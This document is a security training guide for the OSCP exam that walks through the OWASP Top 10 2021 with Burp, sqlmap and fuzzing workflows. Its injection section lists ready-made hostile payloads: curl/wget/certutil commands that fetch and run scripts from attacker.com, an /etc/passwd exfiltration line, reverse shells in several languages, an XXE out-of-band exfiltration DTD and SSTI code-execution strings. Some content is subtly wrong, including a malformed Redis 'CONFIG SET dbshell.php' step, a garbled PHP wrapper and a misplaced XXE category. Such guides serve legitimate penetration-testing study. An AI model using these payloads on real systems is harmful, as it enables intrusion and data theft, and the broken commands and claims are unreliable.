Domain 1Recon & ReportingCORE

OWASP Top 10

Complete coverage of OWASP Top 10 2021 web application security risks with detailed attack vectors, exploitation techniques, Burp Suite workflows, and OSCP-relevant web attack scenarios.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#owasp#web-security#injection#access-control#authentication

OWASP Top 10

Table of Contents


1. OWASP Top 10 2021 Overview

What is OWASP?

OWASP (Open Web Application Security Project) is a non-profit foundation that works to improve the security of software. It maintains the OWASP Top 10, a regularly updated awareness document representing the most critical security risks to web applications.

Why OWASP Matters for OSCP

Reason Explanation
Web targets are common OSCP machines frequently include web applications as primary or secondary attack vectors
Injection is foundational SQL injection, command injection, and XSS are core OSCP skills
Burp Suite is essential The exam rewards systematic web testing with Burp
Report writing Understanding OWASP categories helps structure your penetration test report
Real-world relevance OSCP simulates real engagements where web apps are primary targets

How the Top 10 Is Derived

The OWASP Top 10 is based on consensus data from:

  1. Community voting — thousands of security professionals vote on categories
  2. Prevalence data — how frequently each vulnerability class appears in real applications
  3. Impact data — severity of exploitation (data breach, RCE, privilege escalation)
  4. Detectability — how easy/difficult the vulnerability is to find

Changes from 2017 to 2021

2017 Category 2021 Status Notes
A01: Injection Renamed to A03 Same core concept, repositioned
A02: Broken Auth Renamed to A07 Expanded to include more auth failure types
A03: Sensitive Data Exposure Renamed to A02: Cryptographic Failures Broader scope beyond just data exposure
A04: XXE Merged into A03: Injection XXE is now a sub-category of injection
A05: Broken Access Control Promoted to A01 Became the #1 most critical risk
A06: Security Misconfiguration Renamed to A05 Same concept, repositioned
A07: XSS Removed as top-level Merged into broader categories
A08: Insecure Deserialization Renamed to A08: Software and Data Integrity Failures Expanded scope
A09: Vulnerable Components Renamed to A06 Same concept, repositioned
A10: Insufficient Logging Renamed to A09 Same concept, repositioned
— NEW: A04: Insecure Design New category for design-level flaws
— NEW: A10: SSRF Promoted from API Top 10

Key Takeaway for OSCP

A01 (Broken Access Control), A03 (Injection), A05 (Security Misconfiguration), and A07 (Authentication Failures) are the most frequently encountered categories in OSCP labs. Focus your study energy here first.


2. A01: Broken Access Control

Risk Level: Critical (A01 — #1 in 2021)

Broken Access Control occurs when restrictions on what authenticated users are allowed to do are not properly enforced. This is the most common vulnerability class found in web applications.

2.1 IDOR (Insecure Direct Object Reference)

What is IDOR?

IDOR occurs when an application uses user-supplied input to directly access objects (files, database records, API resources) without verifying that the user is authorized to access that specific object.

How It Works

Normal Request (User 1001 accessing their own profile):
GET /api/users/1001/profile HTTP/1.1
Host: target.com
Cookie: session=abc123

Attacker modifies the ID:
GET /api/users/1002/profile HTTP/1.1
Host: target.com
Cookie: session=abc123

If the server returns User 1002's data → IDOR confirmed!

IDOR Variations

Type Description Example
Numeric ID manipulation Sequential integer IDs /users/1, /users/2, /users/3
UUID/GUID manipulation Leaked or predictable UUIDs /users/550e8400-e29b-41d4-a716-446655440000
Parameter name changes Different param names reference same object user_id=100 vs uid=100 vs account=100
HTTP method changes GET works, but PUT/DELETE not restricted GET /api/orders/5 → DELETE /api/orders/5
Content-Type manipulation JSON vs XML vs form-encoded Same endpoint, different parsing
Path traversal IDOR File-based object references /files/reports/2024/q1.pdf → /files/reports/2024/q2.pdf

Exploitation Methodology

Step 1: Identify object references in requests
   - Look for IDs in URLs, POST bodies, headers, cookies
   - Note: user_id, order_id, account_id, file_id, doc_id

Step 2: Capture legitimate request in Burp Suite
   - Log in as a normal user
   - Perform an action that references an object
   - Intercept the request

Step 3: Modify the object reference
   - Change numeric ID: 1001 → 1000, 1002, 999, 1
   - Try negative numbers: -1, -100
   - Try boundary values: 0, 2147483647 (INT_MAX)

Step 4: Analyze the response
   - 200 OK with different data → IDOR confirmed
   - 403 Forbidden → Access control exists
   - 404 Not Found → ID may not exist (try more)
   - Same data returned → Authorization check may be in place

Step 5: Automate with Burp Intruder
   - Use Sniper attack mode
   - Payload: numeric sequence (1-1000)
   - Grep/Filter on response length and key content

Real OSCP Example Pattern

Scenario: Web application with user management

1. Enumerate users via IDOR:
   GET /admin/users.php?id=1
   Response: {"name":"admin","email":"admin@target.com","role":"administrator"}

2. Escalate to admin:
   PUT /admin/users.php?id=100
   Content-Type: application/json
   {"role":"administrator"}

3. Now you have admin access → upload shell → reverse shell

2.2 Horizontal Privilege Escalation

Definition: Gaining access to another user’s resources at the same privilege level.

User A (regular user) → accesses User B's data (also regular user)

Examples:
- Viewing another customer's order history
- Reading another user's private messages
- Modifying another user's profile information
- Accessing another tenant's data in multi-tenant apps

Testing Steps

1. Log in as User A
2. Capture request accessing User A's resource
3. Modify identifier to User B's identifier
4. If successful → Horizontal Privilege Escalation confirmed

2.3 Vertical Privilege Escalation

Definition: Gaining access to higher-privilege functionality or data.

Regular User → Admin functionality

Examples:
- Regular user accessing /admin/dashboard
- User with "viewer" role performing "editor" actions
- Bypassing role checks to execute admin-only API endpoints

Common Attack Vectors

Technique Description
Direct URL access Navigate to /admin/, /administrator/, /superadmin/
Parameter tampering Change role=user to role=admin in request
JWT manipulation Modify the role claim in a JWT token
API endpoint discovery Find admin-only endpoints and access them as regular user
HTTP method abuse Use PUT/DELETE/PATCH to elevate own privileges

JWT Manipulation Example

# Original JWT (decode payload):
{
  "sub": "1001",
  "name": "john",
  "role": "user",
  "iat": 1699000000
}

# Attacker modifies:
{
  "sub": "1001",
  "name": "john",
  "role": "admin",
  "iat": 1699000000
}

# If server uses "none" algorithm or weak secret → access granted
# Test with: https://jwt.io/ or jwt_tool

2.4 Forced Browsing

Definition: Accessing URLs/resources that are not referenced anywhere in the application but exist on the server.

Common Patterns

/admin/
/backup/
/config/
/debug/
/test/
/.git/
/.env
/server-status
/phpinfo.php
/wp-admin/
/manager/
/console/
/api/swagger.json
/api/docs

Testing with ffuf

# Directory brute-forcing
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404

# File extension brute-forcing
ffuf -u https://target.com/FUZZ -w wordlist.txt -e .php,.bak,.old,.txt,.sql,.xml,.json,.yml,.conf

# With wordlist combinations
ffuf -u https://target.com/FUZZ1/FUZZ2 -w dirs.txt -w files.txt -fc 404

2.5 Testing Methodology with Burp Suite

Systematic Access Control Testing

Phase 1: Map the Application
├── Identify all authenticated endpoints
├── Document user roles and permissions
└── Note all object references (IDs, tokens, keys)

Phase 2: Test Horizontal Escalation
├── Capture requests as User A
├── Modify object IDs to User B's values
├── Test with multiple user accounts
└── Check all HTTP methods (GET, POST, PUT, DELETE, PATCH)

Phase 3: Test Vertical Escalation
├── Try accessing admin endpoints as regular user
├── Modify role/permission parameters
├── Test JWT token manipulation
└── Check for unrestricted API endpoints

Phase 4: Test Function-Level Access Control
├── Can regular users trigger admin functions?
├── Are all buttons/links server-side validated?
└── Test parameter pollution for access bypass

Phase 5: Document Findings
├── Record successful escalations
├── Note the impact of each finding
└── Chain findings for maximum impact

Burp Suite Workflow for IDOR

1. Proxy: Browse the application, capture all requests
2. Scanner: Run active scan on key endpoints (if available)
3. Repeater: Manually test ID modifications
4. Intruder: Automate ID enumeration
   - Attack type: Sniper
   - Position: Mark the ID parameter
   - Payload: Numbers 1-1000
   - Grep-match: Look for unique content indicators
5. Comparer: Compare responses for different IDs

2.6 OSCP-Relevant Access Control Patterns

Machine Pattern Access Control Issue Exploitation Path
Web app with user portal IDOR on user profiles Enumerate users → find admin → escalate
API-based application Missing auth on admin endpoints Discover /api/admin/* → direct access
File upload portal No authorization on file access Upload → access via predictable path
Multi-tenant SaaS Tenant isolation failure Access other tenant’s data
CMS with roles Role parameter tampering Change role in POST body

3. A02: Cryptographic Failures

Risk Level: Critical (A02 — #2 in 2021)

Cryptographic Failures encompass situations where sensitive data is improperly protected through weak or missing cryptography.

3.1 Weak Encryption Algorithms

Algorithms to Avoid

Algorithm Status Reason
DES Broken 56-bit key, brute-forceable
3DES Deprecated Sweet32 attack, slow
RC4 Broken Multiple biases and attacks
MD5 Broken Collision attacks trivial
SHA-1 Deprecated Collision attacks demonstrated
ECB mode Broken Patterns visible in ciphertext
Purpose Recommended Algorithm
Symmetric encryption AES-256-GCM, ChaCha20-Poly1305
Hashing (passwords) bcrypt, scrypt, Argon2id
Hashing (data integrity) SHA-256, SHA-3
Key exchange ECDH, X25519
Digital signatures Ed25519, ECDSA with P-256+

Detecting Weak Encryption in Traffic

# Using Burp Suite:
1. Intercept HTTPS traffic
2. Check the TLS handshake in the proxy history
3. Look for weak cipher suites:
   - TLS_RSA_WITH_RC4_128_SHA
   - TLS_RSA_WITH_3DES_EDE_CBC_SHA
   - Any cipher with "NULL" or "EXPORT"

# Using testssl.sh:
testssl.sh --cipher https://target.com

# Using nmap:
nmap --script ssl-enum-ciphers -p 443 target.com

3.2 Hardcoded Credentials and Keys

Where to Look

Source code:
├── Configuration files (config.php, settings.py, application.yml)
├── Environment file templates (.env.example, .env.sample)
├── Source code comments
├── JavaScript files (API keys, tokens)
├── Compiled binaries (strings extraction)
└── Dockerfiles and docker-compose files

Common patterns:
$db_password = "admin123";
API_KEY = "sk-1234567890abcdef"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

Detection Techniques

# Search source code for credentials
grep -rni "password\|secret\|api_key\|token\|credential" /path/to/source/

# Use trufflehog for secret detection
trufflehog filesystem /path/to/source/

# Use gitleaks
gitleaks detect --source /path/to/repo/

# Extract strings from binaries
strings /path/to/binary | grep -i "password\|secret\|key\|token"

# Check JavaScript files
grep -rni "api.key\|secret\|password" *.js

3.3 Unencrypted Sensitive Data

Data at Rest

# Check if database files are encrypted
file /var/lib/mysql/*.ibd
# Look for plaintext SQL dumps
find / -name "*.sql" -o -name "*.dump" 2>/dev/null

# Check application config for plaintext passwords
cat /etc/app/config.yml
# Look for:
# database:
#   password: plaintext_password_here

Data in Transit

Check for:
├── HTTP instead of HTTPS
├── Mixed content (HTTP resources on HTTPS page)
├── Self-signed certificates (may indicate weak security posture)
├── Internal APIs using HTTP
└── WebSocket connections without WSS

3.4 Weak Password Hashing

Hash Identification

# Use hash-identifier
hash-identifier
# Paste the hash and it will identify the type

# Common hash types in web apps:
MD5:              d8578edf8458ce06fbc5bb76a58c5ca4  (32 hex chars)
SHA-1:            5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8  (40 hex chars)
SHA-256:          5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
bcrypt:           $2y$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Argon2:           $argon2id$v=19$m=65536,t=3,p=4$...

Cracking Weak Hashes

# Using hashcat
# MD5
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# SHA-1
hashcat -m 100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# SHA-256
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# Using John the Ripper
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --format=sha256crypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

3.5 Testing for Cryptographic Weaknesses

Systematic Testing Checklist:

□ 1. Check all data in transit uses TLS 1.2+
□ 2. Verify no sensitive data in URL parameters
□ 3. Check cookies have Secure and HttpOnly flags
□ 4. Look for hardcoded credentials in source code
□ 5. Identify password hashing algorithm used
□ 6. Check for weak API key patterns
□ 7. Verify encryption of data at rest
□ 8. Test for predictable encryption keys/IVs
□ 9. Check for proper CSRF token implementation
□ 10. Verify session tokens are cryptographically random

4. A03: Injection

Risk Level: Critical (A03 — #3 in 2021)

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query. This is the most exploited vulnerability class and appears frequently in OSCP exams.

4.1 SQL Injection (SQLi)

What is SQL Injection?

SQL injection occurs when user input is concatenated directly into SQL queries without proper sanitization or parameterization.

// VULNERABLE:
$query = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "'";

// SAFE (parameterized):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_GET['user']]);

SQL Injection Types

Union-Based SQLi
Prerequisites:
- SELECT query in the vulnerable point
- Same number of columns in both queries
- Compatible data types

Step 1: Determine number of columns
' ORDER BY 1--    (no error)
' ORDER BY 2--    (no error)
' ORDER BY 3--    (no error)
' ORDER BY 4--    (error → 3 columns)

Step 2: Find displayable columns
' UNION SELECT 1,2,3--

Step 3: Extract database information
' UNION SELECT 1,version(),database()--
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

Step 4: Extract data
' UNION SELECT 1,username,password FROM users--
Boolean-Based Blind SQLi
When error messages are suppressed and UNION doesn't work.

Step 1: Confirm boolean-based blind injection
' AND 1=1--    (page loads normally)
' AND 1=2--    (page loads differently or shows error)

Step 2: Extract data character by character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)>'m'--

Step 3: Automate with sqlmap
sqlmap -u "https://target.com/page?id=1" --technique=B --dump -T users -C username,password
Time-Based Blind SQLi
When the page response doesn't change based on boolean conditions.

Step 1: Confirm time-based injection
'; WAITFOR DELAY '0:0:5'--          (SQL Server)
'; SELECT SLEEP(5)--                (MySQL)
'; SELECT pg_sleep(5)--             (PostgreSQL)

Step 2: Extract data based on time delays
'; IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--

Step 3: Automate with sqlmap
sqlmap -u "https://target.com/page?id=1" --technique=T --dump
Error-Based SQLi
When the application displays database error messages.

Step 1: Trigger an error
'

Step 2: Use error messages to extract data
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1)),1)--

Step 3: Common error-based functions by DBMS
MySQL:
  - EXTRACTVALUE()
  - UPDATEXML()
  - ERROR() with GeomFromText()

PostgreSQL:
  - CAST() with invalid type conversion
  - INT4OUT/INT8OUT

SQL Server:
  - CONVERT() with invalid data types

SQLi Payloads Reference

Authentication Bypass:
' OR '1'='1' --
' OR 1=1 --
admin' --
admin' #
' OR ''='

Stacked Queries (if supported):
'; DROP TABLE users--
'; EXEC xp_cmdshell('whoami')--

Out-of-Band (DNS exfiltration):
'; SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\file'))--

Database-Specific Functions

Function MySQL PostgreSQL SQL Server Oracle
Current user user() current_user SYSTEM_USER SYS.USER
Database name database() current_database() DB_NAME() GLOBAL_NAME
Version version() version() @@VERSION BANNER
Tables information_schema.tables information_schema.tables information_schema.tables all_tables
Comments -- or # -- -- --
String concat CONCAT() CONCAT() or || + or CONCAT() ||
Substring SUBSTRING() SUBSTRING() SUBSTRING() SUBSTR()

sqlmap Deep Dive

# Basic usage
sqlmap -u "https://target.com/page?id=1"

# With cookie authentication
sqlmap -u "https://target.com/page?id=1" --cookie="PHPSESSID=abc123"

# With POST data
sqlmap -u "https://target.com/login" --data="username=admin&password=test"

# Dump specific table
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump

# Get shell
sqlmap -u "https://target.com/page?id=1" --os-shell

# Windows command shell
sqlmap -u "https://target.com/page?id=1" --os-pwn

# Custom injection technique
sqlmap -u "https://target.com/page?id=1" --technique=BEUST

# Risk and level
sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3

# Batch mode (non-interactive)
sqlmap -u "https://target.com/page?id=1" -b --batch

# Using request file from Burp
sqlmap -r /path/to/request.txt --batch

# Tamper scripts for WAF bypass
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,unionalltounion

# Common tamper scripts:
# space2comment    - Replaces spaces with comments
# space2dash       - Replaces spaces with dashes
# apostrophemask   - Replaces apostrophes with UTF-8
# base64encode     - Base64encodes all values
# charencode       - URL-encodes all characters
# randomcase       - Randomizes case
# lowercase        - Lowercases all characters
# uppercase        - Uppercases all characters
# appendnullbyte   - Appends null byte

4.2 Command Injection

What is Command Injection?

Command injection occurs when an application passes unsafe user-supplied data to a system shell.

// VULNERABLE:
system("ping -c 4 " . $_GET['ip']);

// SAFE:
escapeshellarg($_GET['ip']);

OS Command Injection Techniques

Linux Command Chaining
Payload operators:
;       - Execute next command (most reliable)
|       - Pipe output to next command
||      - Execute if previous fails
&&      - Execute if previous succeeds
` `     - Command substitution (backticks)
$( )    - Command substitution (modern)

Examples:
; cat /etc/passwd
| cat /etc/passwd
&& cat /etc/passwd
; wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh
; curl http://attacker.com/reverse.sh | bash
; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Windows Command Chaining
Payload operators:
&       - Execute next command (regardless of success)
&&      - Execute if previous succeeds
||      - Execute if previous fails
|       - Pipe output
< >     - Redirection

Examples:
& whoami
& dir C:\
& net user
& certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe
& powershell -enc BASE64_ENCODED_PAYLOAD
Blind Command Injection
When output is not displayed:

Time-based:
; sleep 5
& ping -n 5 127.0.0.1    (Windows)

DNS-based (out-of-band):
; nslookup attacker.com
; dig attacker.com

File-based:
; echo "PWNED" > /tmp/pwned.txt
; curl http://attacker.com/?data=$(cat /etc/passwd)

Reverse Shell Payloads for Command Injection

# Bash reverse shell
bash -i >& /dev/tcp/10.10.14.3/9001 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.3",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];subprocess.call(["/bin/bash"])'

# Perl reverse shell
perl -e 'use Socket;$i="10.10.14.3";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

# PHP reverse shell
php -r '$sock=fsockopen("10.10.14.3",9001);exec("/bin/bash -i <&3 >&3 2>&3");'

# Netcat reverse shell
nc -e /bin/bash 10.10.14.3 9001
nc -e cmd.exe 10.10.14.3 9001    (Windows)

# PowerShell reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.3',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4.3 NoSQL Injection

What is NoSQL Injection?

NoSQL injection targets NoSQL databases (MongoDB, CouchDB, Redis) using their specific query syntax.

MongoDB Injection Examples

// Authentication bypass
{"username": {"$ne": null}, "password": {"$ne": null}}

// In URL-encoded form:
username[$ne]=&password[$ne]=

// Extract data via aggregation
{"username": "admin", "password": {"$regex": "^a"}}

// Operator injection
{"username": "admin", "password": {"$gt": ""}}
{"username": "admin", "password": {"$exists": true}}

// JavaScript execution (if enabled)
{"$where": "this.password.indexOf('admin') > -1"}

Redis Injection

# Command injection via Redis
SET mykey "value"
CONFIG SET dir /var/www/html
CONFIG SET dbshell.php
SAVE

# This writes a PHP shell to the web root

4.4 LDAP Injection

What is LDAP Injection?

LDAP injection occurs when user input is incorporated into LDAP queries without sanitization.

Vulnerable query:
"(&(uid=" + username + ")(password=" + password + "))"

Authentication bypass:
Username: admin)(uid=*
Password: )(password=*

Resulting query:
"(&(uid=admin)(uid=*)(password=)(password=*))"
→ Always matches

LDAP Injection Payloads

Universal:
*)(uid=*
*)(cn=*
*||*
*||true

Search-based:
*
*/*
*/

4.5 XXE (XML External Entity)

What is XXE?

XXE occurs when an XML parser processes external entities defined in user-controlled XML input.

<!-- Basic XXE - File Read -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- XXE - SSRF -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<root>&xxe;</root>

<!-- XXE - Blind (Out-of-Band) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>
<root>test</root>

<!-- The external DTD contains:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
-->

<!-- XXE - RCE via PHP wrapper -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>

PHP Wrappers for XXE

php://filter/convert.base64-encode/resource=config.php
php://input
php://expect://system('id')
data://text/plain;base64,PEdocD4=
expect://id

4.6 Template Injection (SSTI)

What is Server-Side Template Injection?

SSTI occurs when user input is embedded in a server-side template and executed.

Common Template Engines and Payloads

Python (Jinja2):
{{7*7}}
{{config}}
{{''.class.mro()[1].subclasses()}}
{{''.class.mro()[1].subclasses()[40]('/etc/passwd').read()}}
{{get_flashed_messages.__globals__.__builtins__.__import__('os').popen('id').read()}}

PHP (Twig):
{{7*7}}
{{_self.env.isDebug()}}
{{app.request.server.all}}

Java (Freemarker):
${7*7}
${"freemarker.template.utility.Execute"?new()("id")}

Java (Velocity):
${7*7}
${class("java.lang.Runtime").getDeclaredConstructors()[0].newInstance().exec("id")}

JavaScript (Nunjucks/EJS):
<%= 7*7 %>
<%= require('child_process').execSync('id').toString() %>

SSTI Detection Methodology

Step 1: Test with basic expressions
{{7*7}}    → Returns 49? Template injection likely
${7*7}     → Java templates
<%=7*7%>   → JavaScript templates

Step 2: Identify the template engine
- Try engine-specific payloads
- Check error messages for engine names
- Look at the technology stack

Step 3: Escalate to code execution
- Access configuration objects
- Traverse object hierarchy
- Import modules/libraries
- Execute system commands

4.7 Testing Methodology for Injection

Universal Injection Testing Framework:

Step 1: Identify Injection Points
├── URL parameters (?id=1, ?page=home)
├── POST body parameters
├── HTTP headers (User-Agent, Referer, Cookie, X-Forwarded-For)
├── File uploads (filenames, content)
├── SOAP/REST API bodies
├── GraphQL queries
└── Hidden form fields

Step 2: Test Each Point with Generic Payloads
├── Single quote: '
├── Double quote: "
├── Backslash: \
├── Semicolon: ;
├── Comment: --
├── Parentheses: ()
├── Angle brackets: <>
├── Dollar sign: $
└── Ampersand: &

Step 3: Analyze Responses
├── Error messages → Error-based injection
├── Different behavior → Boolean-based
├── Time delay → Time-based
└── No change → Not vulnerable or WAF blocking

Step 4: Confirm and Exploit
├── Use sqlmap for SQLi automation
├── Manual exploitation for complex scenarios
├── Chain with other vulnerabilities
└── Document findings

5. A04: Insecure Design

Risk Level: High (A04 — #4 in 2021, NEW category)

Insecure Design represents a fundamental shift in the OWASP Top 10 — recognizing that not all vulnerabilities are implementation bugs. Some are flaws in the design itself.

5.1 Business Logic Flaws

What Are Business Logic Flaws?

Business logic flaws occur when the application’s workflow or business rules can be manipulated to achieve unintended outcomes. These cannot be detected by automated scanners because the application technically works “correctly” — it’s the logic that’s flawed.

Common Business Logic Flaws

Flaw Type Description Example
Missing workflow enforcement Skipping required steps Skipping payment in checkout flow
Parameter manipulation Changing values to gain advantage Changing price, quantity, or currency
Race conditions Exploiting timing gaps Double-spending, double-withdrawal
State manipulation Changing application state Modifying order status from “pending” to “completed”
Assumption abuse Exploiting developer assumptions Negative quantities, zero-price items
Function-level bypass Accessing functions out of order Accessing step 5 without completing steps 1-4

Exploitation Examples

E-commerce Price Manipulation:
POST /checkout
{
  "item_id": 123,
  "quantity": 1,
  "price": 0.01        ← Changed from $99.99
}

Negative Quantity:
POST /cart/add
{
  "item_id": 123,
  "quantity": -1        ← Refund without returning
}

Workflow Bypass:
1. Normal flow: Browse → Add to Cart → Checkout → Pay → Confirm
2. Attacker: Browse → Add to Cart → [Directly access /order/confirm]

Race Condition (Double Spend):
Thread 1: POST /wallet/transfer {amount: 100, to: attacker}
Thread 2: POST /wallet/transfer {amount: 100, to: attacker}
→ Both succeed if balance check and deduction aren't atomic

5.2 Missing Threat Modeling

What is Threat Modeling?

Threat modeling is the process of identifying potential threats and vulnerabilities in a system’s design before implementation.

STRIDE Framework

Category Description Example
Spoofing Impersonating another user JWT forgery, session hijacking
Tampering Modifying data Parameter tampering, file modification
Repudiation Denying an action Lack of audit logging
Information Disclosure Exposing sensitive data Verbose errors, debug endpoints
Denial of Service Making service unavailable Resource exhaustion
Elevation of Privilege Gaining higher access IDOR, role manipulation

5.3 Abuse Case Analysis

Creating Abuse Cases

Normal Use Case: User resets password
1. User clicks "Forgot Password"
2. Enters email address
3. Receives reset link via email
4. Clicks link, sets new password

Abuse Case: Password reset token reuse
1. Attacker triggers password reset for victim
2. Victim receives and uses reset link
3. Attacker uses the SAME reset link (token not invalidated)
4. Attacker overwrites victim's password

Abuse Case: Email enumeration via reset
1. Attacker tries reset for "admin@target.com"
2. Response: "If email exists, we sent a link" → User exists
3. Attacker tries reset for "fake@target.com"
4. Response: "If email exists, we sent a link" → Same response
   (Good: no enumeration)
   OR Response: "Email not found" → User doesn't exist (Bad: enumeration)

5.4 Identifying Insecure Design in OSCP Targets

Red Flags for Insecure Design:

1. Workflow Analysis
   - Map out the complete application flow
   - Identify each step and its purpose
   - Ask: "What happens if I skip this step?"
   - Ask: "What happens if I repeat this step?"
   - Ask: "What happens if I do this step out of order?"

2. Parameter Analysis
   - List all modifiable parameters
   - Test boundary values (0, -1, MAX_INT)
   - Test type confusion (string where int expected)
   - Test unexpected values

3. State Analysis
   - Identify all application states
   - Check if state transitions are enforced
   - Try to force invalid state transitions

4. Assumption Analysis
   - What does the developer assume about user behavior?
   - What does the developer assume about data?
   - What does the developer assume about the environment?

6. A05: Security Misconfiguration

Risk Level: High (A05 — #5 in 2021)

Security misconfiguration happens when secure defaults are not set, configurations are left open, or unnecessary features are enabled.

6.1 Default Credentials

Common Default Credentials

Service Default Username Default Password
Tomcat admin admin / tomcat / blank
JBoss admin admin
phpMyAdmin root blank / root
WordPress admin admin / password
Drupal admin admin
Jenkins admin (generated, check log)
Elasticsearch elastic changeme
Kibana elastic changeme
Solr admin admin
Grafana admin admin
Docker Registry admin password
Redis (none) (none — no auth by default)
MongoDB (none) (none — no auth by default)
RabbitMQ guest guest
Consul (none) (none)
Vault (root token in log) —

Testing for Default Credentials

# Using default credentials scanner
nmap --script http-default-accounts -p 80,443,8080,8443 target.com

# Manual testing with curl
curl -u admin:admin https://target.com/admin/
curl -u admin:password https://target.com/manager/

# Using hydra for brute force
hydra -l admin -P /usr/share/seclists/Passwords/Default-Credentials/http-default-login.pass https://target.com/http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"

6.2 Verbose Error Messages

Why They Matter

Verbose error messages expose:

  • Technology stack (framework, language, version)
  • File paths (server directory structure)
  • Database schema (table names, column names)
  • Code snippets (logic, queries)
  • Internal IP addresses

Examples

PHP Stack Trace:
Fatal error: Uncaught Error: Call to undefined function mysql_connect()
  in /var/www/html/app/database.php on line 42
Stack trace:
#0 /var/www/html/app/login.php(15): Database->connect()
#1 {main}

Java Stack Trace:
java.sql.SQLException: Access denied for user 'webapp'@'10.0.1.50' (using password: YES)
    at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:129)
    at com.mysql.cj.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:836)

ASP.NET Error:
[SqlException (0x80131904): Login failed for user 'APP_USER'.]
   System.Data.SqlClient.SqlInternalConnectionTds..ctor(...)
   Source File: C:\inetpub\wwwroot\App_Code\DataAccess.vb Line: 23

6.3 Directory Listing

Detection

# Manual check
curl https://target.com/
# Look for "Index of /" in response

# Automated with nikto
nikto -h https://target.com

# Using gobuster
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Check common directories
curl https://target.com/backup/
curl https://target.com/images/
curl https://target.com/uploads/
curl https://target.com/logs/

Dangerous Directories to Check

/backup/
/backups/
/old/
/temp/
/tmp/
/test/
/debug/
/.git/
/.svn/
/.env
/config/
/logs/
/data/
/files/
/uploads/
/assets/
/vendor/
/node_modules/

6.4 Unnecessary Services

Common Unnecessary Services

Service Default Port Risk
Telnet 23 Cleartext credentials
FTP 21 Cleartext credentials, anonymous access
SNMP 161 Community strings, system info
SMB 445 File sharing, lateral movement
Redis 6379 No auth by default, RCE possible
MongoDB 27017 No auth by default
Elasticsearch 9200 Data exposure, RCE
Docker API 2375 Container escape, RCE
JMX 1099 Remote code execution
RMI Various Deserialization attacks

Detection

# Full port scan
nmap -sS -sV -sC -p- target.com

# Check for specific services
nmap -p 23,21,161,445,6379,27017,9200,2375,1099 target.com

# Service enumeration
nmap --script redis-info,redis-server-info -p 6379 target.com
nmap --script mongodb-brute -p 27017 target.com

6.5 Open Cloud Storage

Common Misconfigurations

AWS S3:
- Public read access on buckets
- ACL misconfiguration
- Bucket enumeration enabled

Azure Blob Storage:
- Public container access
- Shared Access Signature (SAS) token leaks

Google Cloud Storage:
- AllUsers read access
- IAM misconfiguration

Testing

# AWS S3 enumeration
# Using awscli
aws s3 ls s3://target-bucket/

# Using cloudbrute
